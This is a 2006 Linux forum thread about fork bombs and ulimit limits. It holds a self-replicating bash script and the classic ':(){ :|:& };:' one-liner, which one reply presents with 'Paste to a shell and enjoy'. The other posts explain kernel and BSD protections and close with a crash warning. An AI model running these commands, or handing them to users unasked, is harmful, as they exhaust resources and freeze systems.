can this bring a system to a halt?

geletine · 07-05-2006, 06:41 PM

i was thinking about the ulimit utility and this came to mind.

#!/bin/bash
x=1
until [ $x -gt 10 ]; do
ran=$RANDOM
ran2=$RANDOM
cat tmp.sh > tmp.$ran.$ran2
chmod 700 tmp.$ran.$ran2
./tmp.$ran.$ran2 &
rm -f tmp.$ran.$ran2
x=$(( $x + 1 ))
done &

then save it and run like this
$ ./tmp.sh & exit

logging back on would be a problem

thanks

r0b0 · 07-06-2006, 07:02 AM

Such things are called forkbombs, see http://en.wikipedia.org/wiki/Forkbomb My favourite one is

:(){ :|:& };:

Paste to a shell and enjoy.

geletine · 07-06-2006, 07:54 AM

I am surprised ulimit is not restricted to the root user only, it would make this impossible by a user, the article mentions that the linux kernel can detect and prevent this, i presume similar measure are included in the BSDS*

Capt_Caveman · 07-06-2006, 05:51 PM

It's been left off by default on purpose. It can interfere with certain applications that require extensive resources (processes,cpu time, etc), so it's been left up to the administrator to enable if they have concerns about untrusted users (or bad programmers). To my knowledge, several (if not all) of the BSDs have protection against forkbombs on by default.

**Warning to anyone reading this thread*: Executing any of the above commands will most likely cause your system to crash or become unresponsive. So execute at your own risk!